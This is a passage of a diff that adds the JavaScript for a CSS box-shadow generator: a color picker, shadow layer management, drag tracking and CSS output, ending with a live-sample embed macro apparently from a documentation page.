+	Shadow.prototype.toggleInset = function toggleInset(value) {
+		if (value !== undefined || typeof value === "boolean")
+			this.inset = value;
+		else
+			this.inset = this.inset === true ? false : true;
+	}
+
+	Shadow.prototype.copy = function copy(obj) {
+		if(obj instanceof Shadow !== true) {
+			console.log("Typeof instance not Shadow");
+			return;
+		}
+
+		this.inset  = obj.inset;
+		this.posX   = obj.posX;
+		this.posY   = obj.posY;
+		this.blur   = obj.blur;
+		this.spread = obj.spread;
+		this.color.copy(obj.color);
+	}
+
+	/**
+	 * Color Picker
+	 */
+	var ColoPicker = (function ColoPicker() {
+
+		var colorpicker;
+		var hue_area;
+		var gradient_area;
+		var alpha_area;
+		var gradient_picker;
+		var hue_selector;
+		var alpha_selector;
+		var pick_object;
+		var info_rgb;
+		var info_hsv;
+		var info_hexa;
+		var output_color;
+		var color = new Color();
+		var subscribers = [];
+
+		var updateColor = function updateColor(e) {
+			var x = e.pageX - gradient_area.offsetLeft;
+			var y = e.pageY - gradient_area.offsetTop;
+
+			// width and height should be the same
+			var size = gradient_area.clientWidth;
+
+			if (x &gt; size)
+				x = size;
+			if (y &gt; size)
+				y = size;
+
+			if (x &lt; 0) x = 0;
+			if (y &lt; 0) y = 0;
+
+			var value = 100 - (y * 100 / size) | 0;
+			var saturation = x * 100 / size | 0;
+
+			color.setHSV(color.hue, saturation, value);
+			// should update just
+			// color pointer location
+			updateUI();
+			notify("color", color);
+		}
+
+		var updateHue = function updateHue(e) {
+			var x = e.pageX - hue_area.offsetLeft;
+			var width = hue_area.clientWidth;
+
+			if (x &lt; 0) x = 0;
+			if (x &gt; width) x = width;
+
+			var hue = ((360 * x) / width) | 0;
+			if (hue === 360) hue = 359;
+
+			color.setHSV(hue, color.saturation, color.value);
+
+			// should update just
+			// hue pointer location
+			// picker area background
+			// alpha area background
+			updateUI();
+			notify("color", color);
+		}
+
+		var updateAlpha = function updateAlpha(e) {
+			var x = e.pageX - alpha_area.offsetLeft;
+			var width = alpha_area.clientWidth;
+
+			if (x &lt; 0) x = 0;
+			if (x &gt; width) x = width;
+
+			color.a = (x / width).toFixed(2);
+
+			// should update just
+			// alpha pointer location
+			updateUI();
+			notify("color", color);
+		}
+
+		var setHueGfx = function setHueGfx(hue) {
+			var sat = color.saturation;
+			var val = color.value;
+			var alpha = color.a;
+
+			color.setHSV(hue, 100, 100);
+			gradient_area.style.backgroundColor = color.getHexa();
+
+			color.a = 0;
+			var start = color.getRGBA();
+			color.a = 1;
+			var end = color.getRGBA();
+			color.a = alpha;
+
+			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
+			alpha_area.style.background = gradient;
+		}
+
+		var updateUI = function updateUI() {
+			var x, y;		// coordinates
+			var size;		// size of the area
+			var offset;		// pointer graphic selector offset
+
+			// Set color pointer location
+			size = gradient_area.clientWidth;
+			offset = gradient_picker.clientWidth / 2 + 2;
+
+			x = (color.saturation * size / 100) | 0;
+			y = size - (color.value * size / 100) | 0;
+
+			gradient_picker.style.left = x - offset + "px";
+			gradient_picker.style.top = y - offset + "px";
+
+			// Set hue pointer location
+			size = hue_area.clientWidth;
+			offset = hue_selector.clientWidth/2;
+			x = (color.hue * size / 360 ) | 0;
+			hue_selector.style.left = x - offset + "px";
+
+			// Set alpha pointer location
+			size = alpha_area.clientWidth;
+			offset = alpha_selector.clientWidth/2;
+			x = (color.a * size) | 0;
+			alpha_selector.style.left = x - offset + "px";
+
+			// Set picker area background
+			var nc = new Color();
+			nc.copy(color);
+			if (nc.hue === 360) nc.hue = 0;
+			nc.setHSV(nc.hue, 100, 100);
+			gradient_area.style.backgroundColor = nc.getHexa();
+
+			// Set alpha area background
+			nc.copy(color);
+			nc.a = 0;
+			var start = nc.getRGBA();
+			nc.a = 1;
+			var end = nc.getRGBA();
+			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
+			alpha_area.style.background = gradient;
+
+			// Update color info
+			notify("color", color);
+			notify("hue", color.hue);
+			notify("saturation", color.saturation);
+			notify("value", color.value);
+			notify("r", color.r);
+			notify("g", color.g);
+			notify("b", color.b);
+			notify("a", color.a);
+			notify("hexa", color.getHexa());
+			output_color.style.backgroundColor = color.getRGBA();
+		}
+
+		var setInputComponent = function setInputComponent(node) {
+			var topic = node.getAttribute('data-topic');
+			var title = node.getAttribute('data-title');
+			var action = node.getAttribute('data-action');
+			title = title === null ? '' : title;
+
+			var input = document.createElement('input');
+			var info = document.createElement('span');
+			info.textContent = title;
+
+			input.setAttribute('type', 'text');
+			input.setAttribute('data-action', 'set-' + action + '-' + topic);
+			node.appendChild(info);
+			node.appendChild(input);
+
+			input.addEventListener('click', function(e) {
+				this.select();
+			});
+
+			input.addEventListener('change', function(e) {
+				if (action === 'HSV')
+					inputChangeHSV(topic);
+				if (action === 'RGB')
+					inputChangeRGB(topic);
+				if (action === 'alpha')
+					inputChangeAlpha(topic);
+				if (action === 'hexa')
+					inputChangeHexa(topic);
+			});
+
+			subscribe(topic, function(value) {
+				node.children[1].value = value;
+			});
+		}
+
+		var inputChangeHSV = function actionHSV(topic) {
+			var selector = "[data-action='set-HSV-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseInt(node.value);
+
+			if (typeof value === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+				value &gt;= 0 &amp;&amp; value &lt; 360)
+				color[topic] = value;
+
+			color.updateRGB();
+			updateUI();
+		}
+
+		var inputChangeRGB = function inputChangeRGB(topic) {
+			var selector = "[data-action='set-RGB-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseInt(node.value);
+
+			if (typeof value === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+				value &gt;= 0 &amp;&amp; value &lt;= 255)
+				color[topic] = value;
+
+			color.updateHSV();
+			updateUI();
+		}
+
+		var inputChangeAlpha = function inputChangeAlpha(topic) {
+			var selector = "[data-action='set-alpha-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseFloat(node.value);
+
+			if (typeof value === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+				value &gt;= 0 &amp;&amp; value &lt;= 1)
+				color.a = value.toFixed(2);
+
+			updateUI();
+		}
+
+		var inputChangeHexa = function inputChangeHexa(topic) {
+			var selector = "[data-action='set-hexa-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = node.value;
+			color.setHexa(value);
+			color.updateHSV();
+			updateUI();
+		}
+
+		var setMouseTracking = function setMouseTracking(elem, callback) {
+
+			elem.addEventListener("mousedown", function(e) {
+				callback(e);
+				document.addEventListener("mousemove", callback);
+			});
+
+			document.addEventListener("mouseup", function(e) {
+				document.removeEventListener("mousemove", callback);
+			});
+		}
+
+		/*
+		 * Observer
+		 */
+		var setColor = function setColor(obj) {
+			if(obj instanceof Color !== true) {
+				console.log("Typeof instance not Color");
+				return;
+			}
+			color.copy(obj);
+			updateUI();
+		}
+
+		var subscribe = function subscribe(topic, callback) {
+			if (subscribers[topic] === undefined)
+				subscribers[topic] = [];
+
+			subscribers[topic].push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(topic, value) {
+			for (var i in subscribers[topic])
+				subscribers[topic][i](value);
+		}
+
+		var init = function init() {
+			colorpicker		= getElemById("colorpicker");
+			hue_area		= getElemById("hue");
+			gradient_area	= getElemById("gradient");
+			alpha_area		= getElemById("alpha");
+			gradient_picker	= getElemById("gradient_picker");
+			hue_selector	= getElemById("hue_selector");
+			alpha_selector	= getElemById("alpha_selector");
+			output_color	= getElemById("output_color");
+
+			var elem = document.querySelectorAll('#colorpicker .input');
+			var size = elem.length;
+			for (var i = 0; i &lt; size; i++)
+				setInputComponent(elem[i]);
+
+			setMouseTracking(gradient_area, updateColor);
+			setMouseTracking(hue_area, updateHue);
+			setMouseTracking(alpha_area, updateAlpha);
+
+		}
+
+		return {
+			init : init,
+			setColor : setColor,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	/**
+	 * Shadow dragging
+	 */
+	var PreviewMouseTracking = (function Drag() {
+		var active = false;
+		var lastX = 0;
+		var lastY = 0;
+		var subscribers = [];
+
+		var init = function init(id) {
+			var elem = getElemById(id);
+			elem.addEventListener('mousedown', dragStart, false);
+			document.addEventListener('mouseup', dragEnd, false);
+		}
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			active = true;
+			lastX = e.clientX;
+			lastY = e.clientY;
+			document.addEventListener('mousemove', mouseDrag, false);
+		}
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			if (active === true) {
+				active = false;
+				document.removeEventListener('mousemove', mouseDrag, false);
+			}
+		}
+
+		var mouseDrag = function mouseDrag(e) {
+			notify(e.clientX - lastX, e.clientY - lastY);
+			lastX = e.clientX;
+			lastY = e.clientY;
+		}
+
+		var subscribe = function subscribe(callback) {
+			subscribers.push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			var index = subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(deltaX, deltaY) {
+			for (var i in subscribers)
+				subscribers[i](deltaX, deltaY);
+		}
+
+		return {
+			init : init,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	/*
+	 * Element Class
+	 */
+	var CssClass = function CssClass(id) {
+		this.left = 0;
+		this.top = 0;
+		this.rotate = 0;
+		this.width = 300;
+		this.height = 100;
+		this.display = true;
+		this.border = true;
+		this.zIndex = -1;
+		this.bgcolor = new Color();
+		this.id = id;
+		this.node = getElemById('obj-' + id);
+		this.object = getElemById(id);
+		this.shadowID = null;
+		this.shadows = []
+		this.render = [];
+		this.init();
+	}
+
+	CssClass.prototype.init = function init() {
+		this.left = ((this.node.parentNode.clientWidth - this.node.clientWidth) / 2) | 0;
+		this.top = ((this.node.parentNode.clientHeight - this.node.clientHeight) / 2) | 0;
+
+		this.setTop(this.top);
+		this.setLeft(this.left);
+		this.setHeight(this.height);
+		this.setWidth(this.width);
+		this.bgcolor.setHSV(0, 0, 100);
+		this.updateBgColor(this.bgcolor);
+	}
+
+	CssClass.prototype.updatePos = function updatePos(deltaX, deltaY) {
+		this.left += deltaX;
+		this.top += deltaY;
+		this.node.style.top = this.top + "px";
+		this.node.style.left = this.left + "px";
+		SliderManager.setValue("left", this.left);
+		SliderManager.setValue("top", this.top);
+	}
+
+	CssClass.prototype.setLeft = function setLeft(value) {
+		this.left = value;
+		this.node.style.left = this.left + "px";
+		OutputManager.updateProperty(this.id, 'left', this.left + 'px');
+	}
+
+	CssClass.prototype.setTop = function setTop(value) {
+		this.top = value;
+		this.node.style.top = this.top + 'px';
+		OutputManager.updateProperty(this.id, 'top', this.top + 'px');
+	}
+
+	CssClass.prototype.setWidth = function setWidth(value) {
+		this.width = value;
+		this.node.style.width = this.width + 'px';
+		OutputManager.updateProperty(this.id, 'width', this.width + 'px');
+	}
+
+	CssClass.prototype.setHeight = function setHeight(value) {
+		this.height = value;
+		this.node.style.height = this.height + 'px';
+		OutputManager.updateProperty(this.id, 'height', this.height + 'px');
+	}
+
+	// Browser support
+	CssClass.prototype.setRotate = function setRotate(value) {
+		var cssvalue = 'rotate(' + value +'deg)';
+
+		this.node.style.transform = cssvalue;
+		this.node.style.webkitTransform = cssvalue;
+		this.node.style.msTransform = cssvalue;
+
+		if (value !== 0) {
+			if (this.rotate === 0) {
+				OutputManager.toggleProperty(this.id, 'transform', true);
+				OutputManager.toggleProperty(this.id, '-webkit-transform', true);
+				OutputManager.toggleProperty(this.id, '-ms-transform', true);
+			}
+		}
+		else {
+			OutputManager.toggleProperty(this.id, 'transform', false);
+			OutputManager.toggleProperty(this.id, '-webkit-transform', false);
+			OutputManager.toggleProperty(this.id, '-ms-transform', false);
+		}
+
+		OutputManager.updateProperty(this.id, 'transform', cssvalue);
+		OutputManager.updateProperty(this.id, '-webkit-transform', cssvalue);
+		OutputManager.updateProperty(this.id, '-ms-transform', cssvalue);
+		this.rotate = value;
+	}
+
+	CssClass.prototype.setzIndex = function setzIndex(value) {
+		this.node.style.zIndex = value;
+		OutputManager.updateProperty(this.id, 'z-index', value);
+		this.zIndex = value;
+	}
+
+	CssClass.prototype.toggleDisplay = function toggleDisplay(value) {
+		if (typeof value !== "boolean" || this.display === value)
+			return;
+
+		this.display = value;
+		var display = this.display === true ? "block" : "none";
+		this.node.style.display = display;
+		this.object.style.display = display;
+	}
+
+	CssClass.prototype.toggleBorder = function toggleBorder(value) {
+		if (typeof value !== "boolean" || this.border === value)
+			return;
+
+		this.border = value;
+		var border = this.border === true ? "1px solid #CCC" : "none";
+		this.node.style.border = border;
+	}
+
+	CssClass.prototype.updateBgColor = function updateBgColor(color) {
+		this.bgcolor.copy(color);
+		this.node.style.backgroundColor = color.getColor();
+		OutputManager.updateProperty(this.id, 'background-color', color.getColor());
+	}
+
+	CssClass.prototype.updateShadows = function updateShadows() {
+		if (this.render.length === 0)
+			OutputManager.toggleProperty(this.id, 'box-shadow', false);
+		if (this.render.length === 1)
+			OutputManager.toggleProperty(this.id, 'box-shadow', true);
+
+		this.node.style.boxShadow = this.render.join(", ");
+		OutputManager.updateProperty(this.id, 'box-shadow', this.render.join(", \n"));
+
+	}
+
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+
+		var preview;
+		var classes = [];
+		var active = null;
+		var animate = false;
+
+		/*
+		 * Toll actions
+		 */
+		var addCssClass = function addCssClass(id) {
+			classes[id] = new CssClass(id);
+		}
+
+		var setActiveClass = function setActiveClass(id) {
+			active = classes[id];
+			active.shadowID = null;
+			ColoPicker.setColor(classes[id].bgcolor);
+			SliderManager.setValue("top", active.top);
+			SliderManager.setValue("left", active.left);
+			SliderManager.setValue("rotate", active.rotate);
+			SliderManager.setValue("z-index", active.zIndex);
+			SliderManager.setValue("width", active.width);
+			SliderManager.setValue("height", active.height);
+			ButtonManager.setValue("border-state", active.border);
+			active.updateShadows();
+		}
+
+		var disableClass = function disableClass(topic) {
+			classes[topic].toggleDisplay(false);
+			ButtonManager.setValue(topic, false);
+		}
+
+		var addShadow = function addShadow(position) {
+			if (animate === true)
+				return -1;
+
+			active.shadows.splice(position, 0, new Shadow());
+			active.render.splice(position, 0, null);
+		}
+
+		var swapShadow = function swapShadow(id1, id2) {
+			var x = active.shadows[id1];
+			active.shadows[id1] = active.shadows[id2];
+			active.shadows[id2] = x;
+			updateShadowCSS(id1);
+			updateShadowCSS(id2);
+		}
+
+		var deleteShadow = function deleteShadow(position) {
+			active.shadows.splice(position, 1);
+			active.render.splice(position, 1);
+			active.updateShadows();
+		}
+
+		var setActiveShadow = function setActiveShadow(id, glow) {
+			active.shadowID = id;
+			ColoPicker.setColor(active.shadows[id].color);
+			ButtonManager.setValue("inset", active.shadows[id].inset);
+			SliderManager.setValue("blur", active.shadows[id].blur);
+			SliderManager.setValue("spread", active.shadows[id].spread);
+			SliderManager.setValue("posX", active.shadows[id].posX);
+			SliderManager.setValue("posY", active.shadows[id].posY);
+			if (glow === true)
+				addGlowEffect(id);
+		}
+
+		var addGlowEffect = function addGlowEffect(id) {
+			if (animate === true)
+				return;
+
+			animate = true;
+			var store = new Shadow();
+			var shadow = active.shadows[id];
+
+			store.copy(shadow);
+			shadow.color.setRGBA(40, 125, 200, 1);
+			shadow.blur = 10;
+			shadow.spread = 10;
+
+			active.node.style.transition = "box-shadow 0.2s";
+			updateShadowCSS(id);
+
+			setTimeout(function() {
+				shadow.copy(store);
+				updateShadowCSS(id);
+				setTimeout(function() {
+					active.node.style.removeProperty("transition");
+					animate = false;
+				}, 100);
+			}, 200);
+		}
+
+		var updateActivePos = function updateActivePos(deltaX, deltaY) {
+			if (active.shadowID === null)
+				active.updatePos(deltaX, deltaY);
+			else
+				updateShadowPos(deltaX, deltaY);
+		}
+
+		/*
+		 * Shadow properties
+		 */
+		var updateShadowCSS = function updateShadowCSS(id) {
+			active.render[id] = active.shadows[id].computeCSS();
+			active.updateShadows();
+		}
+
+		var toggleShadowInset = function toggleShadowInset(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].toggleInset(value);
+			updateShadowCSS(active.shadowID);
+		}
+
+		var updateShadowPos = function updateShadowPos(deltaX, deltaY) {
+			var shadow = active.shadows[active.shadowID];
+			shadow.posX += deltaX;
+			shadow.posY += deltaY;
+			SliderManager.setValue("posX", shadow.posX);
+			SliderManager.setValue("posY", shadow.posY);
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowPosX = function setShadowPosX(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].posX = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowPosY = function setShadowPosY(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].posY = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowBlur = function setShadowBlur(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].blur = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowSpread = function setShadowSpread(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].spread = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var updateShadowColor = function updateShadowColor(color) {
+			active.shadows[active.shadowID].color.copy(color);
+			updateShadowCSS(active.shadowID);
+		}
+
+		/*
+		 * Element Properties
+		 */
+		var updateColor = function updateColor(color) {
+			if (active.shadowID === null)
+				active.updateBgColor(color);
+			else
+				updateShadowColor(color);
+		}
+
+		var init = function init() {
+			preview = getElemById("preview");
+
+			ColoPicker.subscribe("color", updateColor);
+			PreviewMouseTracking.subscribe(updateActivePos);
+
+			// Affects shadows
+			ButtonManager.subscribe("inset", toggleShadowInset);
+			SliderManager.subscribe("posX", setShadowPosX);
+			SliderManager.subscribe("posY", setShadowPosY);
+			SliderManager.subscribe("blur", setShadowBlur);
+			SliderManager.subscribe("spread", setShadowSpread);
+
+			// Affects element
+			SliderManager.subscribe("top", function(value){
+				active.setTop(value);
+			});
+			SliderManager.subscribe("left", function(value){
+				active.setLeft(value);
+			});
+			SliderManager.subscribe("rotate", function(value) {
+				if (active == classes["element"])
+					return;
+				active.setRotate(value);
+			});
+
+			SliderManager.subscribe("z-index", function(value) {
+				if (active == classes["element"])
+					return;
+				active.setzIndex(value);
+			});
+
+			SliderManager.subscribe("width", function(value) {
+				active.setWidth(value)
+			});
+
+			SliderManager.subscribe("height", function(value) {
+				active.setHeight(value)
+			});
+
+			// Actions
+			classes['before'].top = -30;
+			classes['before'].left = -30;
+			classes['after'].top = 30;
+			classes['after'].left = 30;
+			classes['before'].toggleDisplay(false);
+			classes['after'].toggleDisplay(false);
+			ButtonManager.setValue('before', false);
+			ButtonManager.setValue('after', false);
+
+			ButtonManager.subscribe("before", classes['before'].toggleDisplay.bind(classes['before']));
+			ButtonManager.subscribe("after", classes['after'].toggleDisplay.bind(classes['after']));
+
+			ButtonManager.subscribe("border-state", function(value) {
+				active.toggleBorder(value);
+			});
+
+		}
+
+		return {
+			init 			: init,
+			addShadow		: addShadow,
+			swapShadow		: swapShadow,
+			addCssClass		: addCssClass,
+			disableClass	: disableClass,
+			deleteShadow	: deleteShadow,
+			setActiveClass	: setActiveClass,
+			setActiveShadow : setActiveShadow
+		}
+
+	})();
+
+	/**
+	 * Layer Manager
+	 */
+	var LayerManager = (function LayerManager() {
+		var stacks = [];
+		var active = {
+			node : null,
+			stack : null
+		}
+		var elements = {};
+
+		var mouseEvents = function mouseEvents(e) {
+			var node = e.target;
+			var type = node.getAttribute('data-type');
+
+			if (type === 'subject')
+				setActiveStack(stacks[node.id]);
+
+			if (type === 'disable') {
+				Tool.disableClass(node.parentNode.id);
+				setActiveStack(stacks['element']);
+			}
+
+			if (type === 'add')
+				active.stack.addLayer();
+
+			if (type === 'layer')
+				active.stack.setActiveLayer(node);
+
+			if (type === 'delete')
+				active.stack.deleteLayer(node.parentNode);
+
+			if (type === 'move-up')
+				active.stack.moveLayer(1);
+
+			if (type === 'move-down')
+				active.stack.moveLayer(-1);
+		}
+
+		var setActiveStack = function setActiveStack(stackObj) {
+			active.stack.hide();
+			active.stack = stackObj;
+			active.stack.show();
+		}
+
+		/*
+		 * Stack object
+		 */
+		var Stack = function Stack(subject) {
+			var S = document.createElement('div');
+			var title = document.createElement('div');
+			var stack = document.createElement('div');
+
+			S.className = 'container';
+			stack.className = 'stack';
+			title.className = 'title';
+			title.textContent = subject.getAttribute('data-title');
+			S.appendChild(title);
+			S.appendChild(stack);
+
+			this.id = subject.id;
+			this.container = S;
+			this.stack = stack;
+			this.subject = subject;
+			this.order = [];
+			this.uid = 0;
+			this.count = 0;
+			this.layer = null;
+			this.layerID = 0;
+		}
+
+		Stack.prototype.addLayer = function addLayer() {
+			if (Tool.addShadow(this.layerID) == -1)
+				return;
+
+			var uid = this.getUID();
+			var layer = this.createLayer(uid);
+
+			if (this.layer === null &amp;&amp; this.stack.children.length &gt;= 1)
+				this.layer = this.stack.children[0];
+
+			this.stack.insertBefore(layer, this.layer);
+			this.order.splice(this.layerID, 0, uid);
+			this.count++;
+			this.setActiveLayer(layer);
+		}
+
+		Stack.prototype.createLayer = function createLayer(uid) {
+			var layer = document.createElement('div');
+			var del = document.createElement('span');
+
+			layer.className = 'node';
+			layer.setAttribute('data-shid', uid);
+			layer.setAttribute('data-type', 'layer');
+			layer.textContent = 'shadow ' + uid;
+
+			del.className = 'delete';
+			del.setAttribute('data-type', 'delete');
+
+			layer.appendChild(del);
+			return layer;
+		}
+
+		Stack.prototype.getUID = function getUID() {
+			return this.uid++;
+		}
+
+		// SOLVE IE BUG
+		Stack.prototype.moveLayer = function moveLayer(direction) {
+			if (this.count &lt;= 1 || this.layer === null)
+				return;
+			if (direction === -1 &amp;&amp; this.layerID === (this.count - 1) )
+				return;
+			if (direction === 1 &amp;&amp; this.layerID === 0 )
+				return;
+
+			if (direction === -1) {
+				var before = null;
+				Tool.swapShadow(this.layerID, this.layerID + 1);
+				this.swapOrder(this.layerID, this.layerID + 1);
+				this.layerID += 1;
+
+				if (this.layerID + 1 !== this.count)
+					before = this.stack.children[this.layerID + 1];
+
+				this.stack.insertBefore(this.layer, before);
+				Tool.setActiveShadow(this.layerID, false);
+			}
+
+			if (direction === 1) {
+				Tool.swapShadow(this.layerID, this.layerID - 1);
+				this.swapOrder(this.layerID, this.layerID - 1);
+				this.layerID -= 1;
+				this.stack.insertBefore(this.layer, this.stack.children[this.layerID]);
+				Tool.setActiveShadow(this.layerID, false);
+			}
+		}
+
+		Stack.prototype.swapOrder = function swapOrder(pos1, pos2) {
+			var x = this.order[pos1];
+			this.order[pos1] = this.order[pos2];
+			this.order[pos2] = x;
+		}
+
+		Stack.prototype.deleteLayer = function deleteLayer(node) {
+			var shadowID =  node.getAttribute('data-shid') | 0;
+			var index = this.order.indexOf(shadowID);
+			this.stack.removeChild(this.stack.children[index]);
+			this.order.splice(index, 1);
+			this.count--;
+
+			Tool.deleteShadow(index);
+
+			if (index &gt; this.layerID)
+				return;
+
+			if (index == this.layerID) {
+				if (this.count &gt;= 1) {
+					this.layerID = 0;
+					this.setActiveLayer(this.stack.children[0], true);
+				}
+				else {
+					this.layer = null;
+					this.show();
+				}
+			}
+
+			if (index &lt; this.layerID) {
+				this.layerID--;
+				Tool.setActiveShadow(this.layerID, true);
+			}
+
+		}
+
+		Stack.prototype.setActiveLayer = function setActiveLayer(node) {
+			elements.shadow_properties.style.display = 'block';
+			elements.element_properties.style.display = 'none';
+
+			if (this.layer)
+				this.layer.removeAttribute('data-active');
+
+			this.layer = node;
+			this.layer.setAttribute('data-active', 'layer');
+
+			var shadowID =  node.getAttribute('data-shid') | 0;
+			this.layerID = this.order.indexOf(shadowID);
+			Tool.setActiveShadow(this.layerID, true);
+		}
+
+		Stack.prototype.unsetActiveLayer = function unsetActiveLayer() {
+			if (this.layer)
+				this.layer.removeAttribute('data-active');
+
+			this.layer = null;
+			this.layerID = 0;
+		}
+
+		Stack.prototype.hide = function hide() {
+			this.unsetActiveLayer();
+			this.subject.removeAttribute('data-active');
+			var style = this.container.style;
+			style.left = '100%';
+			style.zIndex = '0';
+		}
+
+		Stack.prototype.show = function show() {
+			elements.shadow_properties.style.display = 'none';
+			elements.element_properties.style.display = 'block';
+
+			if (this.id === 'element') {
+				elements.zIndex.style.display = 'none';
+				elements.transform_rotate.style.display = 'none';
+			}
+			else {
+				elements.zIndex.style.display = 'block';
+				elements.transform_rotate.style.display = 'block';
+			}
+
+			this.subject.setAttribute('data-active', 'subject');
+			var style = this.container.style;
+			style.left = '0';
+			style.zIndex = '10';
+			Tool.setActiveClass(this.id);
+		}
+
+		function init() {
+
+			var elem, size;
+			var layerManager = getElemById("layer_manager");
+			var layerMenu = getElemById("layer_menu");
+			var container = getElemById("stack_container");
+
+			elements.shadow_properties = getElemById('shadow_properties');
+			elements.element_properties = getElemById('element_properties');
+			elements.transform_rotate = getElemById('transform_rotate');
+			elements.zIndex = getElemById('z-index');
+
+			elem = document.querySelectorAll('#layer_menu [data-type="subject"]');
+			size = elem.length;
+
+			for (var i = 0; i &lt; size; i++) {
+				var S = new Stack(elem[i]);
+				stacks[elem[i].id] = S;
+				container.appendChild(S.container);
+				Tool.addCssClass(elem[i].id);
+			}
+
+			active.stack = stacks['element'];
+			stacks['element'].show();
+
+			layerManager.addEventListener("click", mouseEvents);
+			layerMenu.addEventListener("click", mouseEvents);
+
+			ButtonManager.subscribe("before", function(value) {
+				if (value === false &amp;&amp; active.stack === stacks['before'])
+					setActiveStack(stacks['element'])
+				if (value === true &amp;&amp; active.stack !== stacks['before'])
+					setActiveStack(stacks['before'])
+			});
+
+			ButtonManager.subscribe("after", function(value) {
+				if (value === false &amp;&amp; active.stack === stacks['after'])
+					setActiveStack(stacks['element'])
+				if (value === true &amp;&amp; active.stack !== stacks['after'])
+					setActiveStack(stacks['after'])
+			});
+		}
+
+		return {
+			init : init
+		}
+	})();
+
+	/*
+	 * OutputManager
+	 */
+	var OutputManager = (function OutputManager() {
+		var classes = [];
+		var buttons = [];
+		var active = null;
+		var menu = null;
+		var button_offset = 0;
+
+		var crateOutputNode = function(topic, property) {
+
+			var prop = document.createElement('div');
+			var name = document.createElement('span');
+			var value = document.createElement('span');
+
+			var pmatch = property.match(/(^([a-z0-9\-]*)=\[([a-z0-9\-\"]*)\])|^([a-z0-9\-]*)/i);
+
+			name.textContent = '\t' + pmatch[4];
+
+			if (pmatch[3] !== undefined) {
+				name.textContent = '\t' + pmatch[2];
+				value.textContent = pmatch[3] + ';';
+			}
+
+			name.textContent += ': ';
+			prop.className = 'css-property';
+			name.className = 'name';
+			value.className = 'value';
+			prop.appendChild(name);
+			prop.appendChild(value);
+
+			classes[topic].node.appendChild(prop);
+			classes[topic].line[property] = prop;
+			classes[topic].prop[property] = value;
+		}
+
+		var OutputClass = function OutputClass(node) {
+			var topic = node.getAttribute('data-topic');
+			var prop = node.getAttribute('data-prop');
+			var name = node.getAttribute('data-name');
+			var properties = prop.split(' ');
+
+			classes[topic] = {};
+			classes[topic].node = node;
+			classes[topic].prop = [];
+			classes[topic].line = [];
+			classes[topic].button = new Button(topic);
+
+			var open_decl = document.createElement('div');
+			var end_decl = document.createElement('div');
+
+			open_decl.textContent = name + ' {';
+			end_decl.textContent = '}';
+			node.appendChild(open_decl);
+
+			for (var i in properties)
+				crateOutputNode(topic, properties[i]);
+
+			node.appendChild(end_decl);
+		}
+
+		var Button = function Button(topic) {
+			var button = document.createElement('div');
+
+			button.className = 'button';
+			button.textContent = topic;
+			button.style.left = button_offset + 'px';
+			button_offset += 100;
+
+			button.addEventListener("click", function() {
+				toggleDisplay(topic);
+			})
+
+			menu.appendChild(button);
+			return button;
+		}
+
+		var toggleDisplay = function toggleDisplay(topic) {
+			active.button.removeAttribute('data-active');
+			active.node.style.display = 'none';
+			active = classes[topic];
+			active.node.style.display = 'block';
+			active.button.setAttribute('data-active', 'true');
+		}
+
+		var toggleButton = function toggleButton(topic, value) {
+			var display = (value === true) ? 'block' : 'none';
+			classes[topic].button.style.display = display;
+
+			if (value === true)
+				toggleDisplay(topic);
+			else
+				toggleDisplay('element');
+		}
+
+		var updateProperty = function updateProperty(topic, property, data) {
+			try {
+				classes[topic].prop[property].textContent = data + ';';
+			}
+			catch(error) {
+				// console.log("ERROR undefined : ", topic, property, data);
+			}
+		}
+
+		var toggleProperty = function toggleProperty(topic, property, value) {
+			var display = (value === true) ? 'block' : 'none';
+			try {
+				classes[topic].line[property].style.display = display;
+			}
+			catch(error) {
+				// console.log("ERROR undefined : ",classes, topic, property, value);
+			}
+		}
+
+		var init = function init() {
+
+			menu = getElemById('menu');
+
+			var elem = document.querySelectorAll('#output .output');
+			var size = elem.length;
+			for (var i = 0; i &lt; size; i++)
+				OutputClass(elem[i]);
+
+			active = classes['element'];
+			toggleDisplay('element');
+
+			ButtonManager.subscribe("before", function(value) {
+				toggleButton('before', value);
+			});
+
+			ButtonManager.subscribe("after", function(value) {
+				toggleButton('after', value);
+			});
+		}
+
+		return {
+			init : init,
+			updateProperty : updateProperty,
+			toggleProperty : toggleProperty
+		}
+
+	})();
+
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		ButtonManager.init();
+		OutputManager.init();
+		ColoPicker.init();
+		SliderManager.init();
+		LayerManager.init();
+		PreviewMouseTracking.init("preview");
+		Tool.init();
+	}
+
+	return {
+		init : init
+	}
+
+})();
+
+
+</code></pre>
+</div>
+
+<div>{{ EmbedLiveSample('box-shadow_generator', '100%', '1100px', '') }}</div>
